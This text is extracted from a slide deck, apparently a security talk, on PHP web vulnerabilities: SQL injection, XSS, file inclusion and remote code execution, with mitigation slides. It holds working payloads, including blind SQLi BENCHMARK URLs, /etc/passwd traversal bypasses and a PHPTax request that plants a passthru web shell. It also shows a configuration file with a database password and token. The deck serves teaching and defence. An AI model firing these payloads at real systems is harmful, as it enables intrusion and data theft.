  • 7. Totally Blind As this type didn't have any TRUE/FALSE responses, we need to use time-based injection. Use IF() for condition and BENCHMARK() for time delay. Check Version: FALSE Response http://site/vulnerabilities/sqli_blind/?id=1 UNION SELECT IF(SUBSTRING(version(),1,1)=4,BENCHMARK(5000000,MD 5(CHAR(1))),null),null TRUE Response http://site/vulnerabilities/sqli_blind/?id=1 UNION SELECT IF(SUBSTRING(version(),1,1)=5,BENCHMARK(5000000,MD 5(CHAR(1))),null),null Table name guessing: http://site/vulnerabilities/sqli_blind/?id=1 UNION SELECT IF(SUBSTRING((select 1 from users limit 0,1),1,1)=1,BENCHMARK(5000000,MD5(CHAR(1))),null), null
  • 9. Case Study PHD Helpdesk 2.12 SQLi Vulnerability (login.php)
  • 10. Case Study PHD Helpdesk 2.12 SQLi Vulnerability Submit POST data to login.php  Result
  • 11. Mitigation/Prevention  Use of Prepared Statements (Parameterized Queries)  Use of Stored Procedures  Escaping all User Supplied Input  Least Privilege  White List Input Validation  https://www.owasp.org/index.php/SQL_Injection_Prev ention_Cheat_Sheet
  • 12. Cross Site Scripting (XSS)  XSS Reflected  XSS Stored
  • 15. Mitigation/Prevention  Escape Before Inserting Untrusted Data into HTML Context  Positive or “whitelist” input validation is also recommended  Use HTTPOnly cookie flag  https://www.owasp.org/index.php/XSS_(Cross_Site_S cripting)_Prevention_Cheat_Sheet
  • 16. File Inclusion  Include PHP Shell (RFI)  Directory Traversal (LFI)  Read Code via PHP Stream Filters (PHP://filter)  Remote Code Execution (LFI to RCE)  Etc
  • 17. File Inclusion (RFI) RFI not Work !! Allow_url_include is disable
  • 19. File Inclusion (PHP Stream) It’s Work !! Allow_url_include is disable
  • 20. File Inclusion (PHP Stream) <?php class Configuration{ public $host = "localhost"; public $db = "cuppa"; public $user = "root"; public $password = “mYDb@dm1n; public $table_prefix = "cu_"; public $administrator_template = "default"; public $list_limit = 25; public $token = "OBqIPqlFWf3X"; public $allowed_extensions = "*.bmp; *.csv; *.doc; *.gif; *.ico; *.jpg; *.jpeg; *.odg; *.odp; *.ods; *.odt; *.pdf; *.png; *.ppt; *.swf; *.txt; *.xcf; *.xls; *.docx; *.xlsx"; public $upload_default_path = "media/uploadsFiles"; public $maximum_file_size = "5242880"; public $secure_login = 0; public $secure_login_value = ""; public $secure_login_redirect = "";} ?>
  • 22. File Inclusion (Bypass)  Bad Code  Bypass it !!  Null Byte ?page=../../../../../../../../../../../etc/passwd%00  Path Truncation ?page=../../../../../../../../../../../etc/passwd.............  Dot Truncation ?page =../../../../../../../../../../../etc/passwd…………….....
  • 23. Case Study  DevalCMS 1.4a (currentfile) LFI Vulnerability
  • 24. Case Study  DevalCMS 1.4a (currentfile) LFI Vulnerability
  • 26. Remote Code Execution  Dangerous Function  exec  system  passthru  shell_exec  proc_open  pcntl_exec  popen  eval  assert  escapeshellcmd  preg_replace  call_user_func  call_user_func_array  Etc
  • 29. Remote Code Execution (Bypass)  PHPTax Remote Code Execution http://localhost/phptax/index.php?newvalue=%3C?php%20 passthru%28$_GET[cmd]%29;?%3E&field=rce.php
  • 31. Remote Code Execution  PHP-Charts 1.0 (type) RCE Vulnerability
  • 32. Remote Code Execution  PHP-Charts 1.0 (type) RCE Vulnerability
  • 33. Mitigation/Prevention  Ensure that user input is properly validated  Limit the use of dynamic inputs from users to vulnerable functions  Build a whitelist for positive file names and code with regular expressions (e.g. Alphanumeric only) or arrays.  Do not try to blacklist for evil PHP code
  • 34. Bug Hunting !!  Code Review  Scan for potential vulnerable functions  Traces back its parameter  Free Tool !! >> http://sourceforge.net/projects/rips- scanner/
  • 35. RIPS
  • 37. References  http://www.websec.ca/kb/sql_injection  https://www.owasp.org/index.php/SQL_Injection  https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)  https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet  https://www.owasp.org/index.php/PHP_File_Inclusion  https://www.owasp.org/index.php/Top_10_2007- Malicious_File_Execution  http://www.exploit-db.com  http://sourceforge.net/projects/rips-scanner
  • 38. If someone is still in the room.. THANK YOU